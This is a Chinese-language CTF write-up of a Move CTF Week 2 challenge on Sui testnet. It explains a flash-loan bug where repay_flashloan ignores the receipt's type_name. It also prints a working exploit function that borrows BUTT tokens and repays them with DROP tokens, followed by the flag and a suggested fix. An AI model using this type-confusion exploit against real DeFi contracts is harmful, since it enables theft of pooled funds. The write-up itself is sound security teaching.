概述MoveCTF共学营由HOH水分子社区联合Cyclens及Movebit共同推出。本期共学将于25年6月中旬正式开始,通过4周线上视频录播课程、有奖Task任务以及CTF挑战赛等多种方式,帮助大家快速了解Web3领域安全问题、提升在网络安全领域的实战能力。详细信息请参考:
Move CTF 共学营由 HOH 水分子社区联合 Cyclens 及 Movebit 共同推出。本期共学将于25年6月中旬正式开始,通过4周线上视频录播课程、有奖Task任务以及CTF挑战赛等多种方式,帮助大家快速了解 Web3 领域安全问题、提升在网络安全领域的实战能力。
详细信息请参考:<https://platform.cyclens.tech/activity/1>
本文分析 Move CTF Week2 挑战,该挑战部署在 Sui 测试网上,主要考察开发者对 Move 语言泛型类型安全和闪电贷机制的理解。
0x3384e67f53de5ec0ed39e5b10f51070fbe1e9f3a7bf6150d43109279b15eddfe
57HwTNNzAh8ZSG6Fva2tcDHSQ5oxihN3Ra84nZHXEBz7
5b2b5989-c226-4eb6-a249-294a4aca12ca
挑战合约包含五个核心模块:
struct Challenge<phantom LP, phantom BUTT, phantom DROP> has store, key {
id: UID,
pool: Pool<LP>,
drop_balance: Balance<DROP>,
claimed: bool,
success: bool
}
struct Pool<phantom LP> has store, key {
id: UID,
balances: Bag,
flashloan: bool
}
struct FlashReceipt {
pool_id: ID,
type_name: String,
repay_amount: u64
}
挑战的 is_solved
函数检查两个关键条件:
核心漏洞位于 repay_flashloan
函数中:
public fun repay_flashloan<LP, A>(pool: &mut Pool<LP>, receipt: FlashReceipt, coin: Coin<A>) {
let FlashReceipt { pool_id: id, type_name: _, repay_amount: amount } = receipt;
assert!(contains_type<LP, A>(pool), ETypeNotFoundInPool);
assert!(object::id(pool) == id, EPoolIdMismatch);
assert!(coin::value(&coin) == amount, ERepayAmountMismatch);
deposit_internal<LP, A>(pool, coin);
pool.flashloan = false;
}
关键问题:
type_name: _
被忽略,没有验证 receipt 中记录的类型claim_drop
获取 1100 个 DROP 代币public fun exploit(challenge: &mut Challenge<LP, BUTT, DROP>, ctx: &mut TxContext) {
// 获取 DROP 代币
let mut drop_coin = challenge::claim_drop(challenge, ctx);
// 获取池子引用
let pool = challenge::get_pool_mut(challenge);
// 闪电贷借出所有 BUTT 代币
let butt_balance = pool::balance_of<LP, BUTT>(pool);
let (butt_coin, receipt) = pool::flashloan<LP, BUTT>(pool, butt_balance, ctx);
// 计算还款金额(含 5% 手续费)
let repay_amount = butt_balance * 105000 / 100000;
// 用 DROP 代币还款 BUTT 闪电贷(类型混淆)
let repay_drop = coin::split(&mut drop_coin, repay_amount, ctx);
pool::repay_flashloan<LP, DROP>(pool, receipt, repay_drop);
// 转移获得的代币
transfer::public_transfer(drop_coin, ctx.sender());
transfer::public_transfer(butt_coin, ctx.sender());
}
0xefeee23ffbed1162d6116a78eb80b911172e98df34f23418603a988b33b689ac
EnzUt1BC5bKiz1JSECgF5LXqasMPY22gTM9YVMjSAcL8
2Gf6VQtYwBmMBsk3RCApx3zq8r4xY4L7Ym8NXLsxEnWj
WWDswm3oF7qQESKwAjFktC4zjgGK5ptSasdCZwC85C2
项目 | 值 |
---|---|
Flag | CTF{MoveCTF-Task2} |
BUTT 代币获得 | 1000 |
DROP 代币剩余 | 50 |
攻击状态 | 成功 |
严格类型验证:
public fun repay_flashloan<LP, A>(pool: &mut Pool<LP>, receipt: FlashReceipt, coin: Coin<A>) {
let FlashReceipt { pool_id: id, type_name, repay_amount: amount } = receipt;
assert!(type_name == type_name::into_string(type_name::get<A>()), ETypeMismatch);
// 其他验证逻辑...
}
增强 Receipt 验证: 确保 FlashReceipt 中的所有字段都被正确验证
类型绑定: 使用更严格的泛型约束确保类型一致性
Move CTF Week2 挑战揭示了泛型类型安全方面的重要问题。通过类型混淆攻击,攻击者能够绕过闪电贷的还款验证机制,实现无成本获取池子资金的目标。
这个漏洞的核心在于 repay_flashloan
函数对 FlashReceipt 中 type_name 字段的忽略,导致类型验证不完整。修复需要在代码层面加强类型验证,在设计层面采用更安全的架构模式。
对于开发者而言,这个案例强调了在处理泛型和资源管理时必须格外谨慎,确保所有类型信息都得到正确验证,避免类似的安全漏洞。
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!